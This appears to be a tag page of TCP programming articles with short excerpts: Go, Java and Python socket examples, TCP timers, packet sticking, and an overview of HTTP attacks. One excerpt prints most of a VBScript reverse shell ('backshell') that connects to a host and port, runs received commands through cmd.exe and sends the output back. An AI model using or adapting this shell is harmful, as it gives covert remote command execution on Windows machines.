Tag:tcp

  • How to forcibly close a TCP connection in go

    Time:2021-12-17

    In the article “go network programming and TCP packet capturing practice”, we wrote the go version of TCP server and client code, and analyzed the packet capturing through tcpdump tool. In this example, the client code initiates a request to close the TCP connection by calling the Conn. close () method, which is the default […]

  • Linux shell script realizes TCP / UPD protocol communication (redirection application)

    Time:2021-11-21

    Redirection and pipeline related usage methods were sent a few days ago. Today, some interesting examples are sent here. Software communication based on TCP / UDP protocol is realized by redirection. There is a special file in the Linux device: /Dev / [tcp|upd] / host / port as long as you read or write this […]

  • Java using TCP to achieve online chat sample code

    Time:2020-11-14

    Client code: package tcp.http; import java.io.*; import java.net.*; import java.util.Scanner; public class Client{ public static void main(String[] args) throws IOException{ Scanner scanner=new Scanner(System.in); //1. Create socket Socket tcpClientSocket=new Socket(); //2. TCP must establish a connection before sending messages Byte [] IPv4 = {127,0,0,1}; // connect to the local computer InetAddress serverAddress=InetAddress.getByAddress(IPv4); SocketAddress serverSocketAddress=new InetSocketAddress(serverAddress,7777); tcpClientSocket.connect […]

  • Vbs script code of TCP version backshell

    Time:2020-10-20

    ‘I have a special station to prepare for. I didn’t expect that when I finished writing, the hole was filled and I was depressed‘by 009, [email protected] ‘date:071221 Dim revdata set sock=WScript.createobject( “MSWinsock.Winsock” , “WSEvent_” ) set sc=createobject( “WScript.Shell” ) Set fso =CreateObject( “Scripting.FileSystemObject” ) sock.connect “127.0.0.1” , 1234 Sub WSEvent_Connect() wscript.echo “Connected!” end sub Sub WSEvent_DataArrival(bytes) MyString= “blank”  sock.GetData MyString revdata=MyString if bytes> 0 then if instr(revdata, “exit” )> 0 then sock.close sock.close sock= nothing bClose= true exit sub else on error resume next tempfile= “C:\” & fso.GetTempName cmd=left(revdata,len(revdata)- 1 ) call sc.Run ( “cmd.exe /c ” & cmd & ” > ” & tempfile, 0 , True ) Set txf = fso.OpenTextFile(tempfile, 1 , false , 0 ) sock.senddata txf.readall & vbcrlf & vbcrlf txf.close call fso.DeleteFile(TempFile, True ) end if sock.senddata “009>” […]

  • An example of basic chat function based on TCP in Java

    Time:2020-5-6

    This paper introduces the basic chat function of Java based on TCP. To share with you for your reference, as follows: The most basic chat, the client and the server say one sentence at a time, and strictly set the order. Server side: import java.io.*; import java.net.*; public class ChatServer { public static void main(String[] […]

  • Implementation of automatic TCP reconnection in golang

    Time:2020-3-18

    Operating system: CentOS 6.9 x64 Go language version: 1.8.3 Problem description The existing TCP client program needs to fetch data from the server on a regular basis, but it needs to automatically reconnect for various reasons (network instability, etc.). Test server sample code: /* tcp server for test */ package main import ( “fmt” “net” […]

  • Four timers of TCP

    Time:2020-2-17

    Four timers of TCP In the TCP protocol, sometimes an event needs to be triggered regularly or according to an algorithm. At this time, the TCP protocol is implemented by using a timer. In TCP, there are four types of timers: (1) Retransmission timer(2) Hold timer(3) Live timer(4) Time waiting timer These four timers have […]

  • Detailed explanation of using golang to realize bidirectional copy of TCP connection

    Time:2020-2-11

    Preface This article mainly introduces to you the relevant content about the realization of bidirectional copy of TCP connection in golang, which is shared for your reference and study. I won’t say much next, let’s take a look at the detailed introduction. Simplest implementation Every time a server connection comes, a new client connection is […]

  • Python 3 + pyqt5 create multithreaded network application – TCP client and TCP server instance

    Time:2020-1-14

    On the basis of the above, this paper re implements the multi-threaded server. The following is the program code of the TCP client: #!/usr/bin/env python3 import sys from PyQt5.QtCore import (QByteArray, QDataStream, QDate, QIODevice, QRegExp, Qt) from PyQt5.QtWidgets import (QApplication, QDateEdit, QFrame, QGridLayout, QHBoxLayout, QLabel, QLineEdit, QPushButton, QWidget) from PyQt5.QtGui import QRegExpValidator from PyQt5.QtNetwork import […]

  • May mess up your interview: do you know how many HTTP requests can be made on a TCP connection?

    Time:2020-1-8

    This article was originally published by songruozhang, the author’s home page: zhihu.com/people/hrsonion/posts. Thank the original author for his selfless sharing. 1, introduction A classic interview question is: what happens when the URL is entered into the browser and displayed on the page? Most of the answers are about how the DOM is built and drawn […]

  • How to handle TCP packet sticking manually in go language

    Time:2019-12-26

    Preface Generally speaking, the so-called TCP packet sticking is that the received data can not completely reflect a complete message data. Why are packets stuck in TCP communication? The main reason is that TCP processes the data in the way of flow, and the MTU on the network is often smaller than the message data […]

  • Common types of network attacks

    Time:2019-12-22

    HTTP traffic dominates the Internet. There is a lot of HTTP traffic from the data center, and many companies have seen the increase of online sales revenue. However, as it becomes more popular, the risk increases, and like other protocols, HTTP is vulnerable. World data describes common DDoS attacks originating from HTTP servers. First, HTTP […]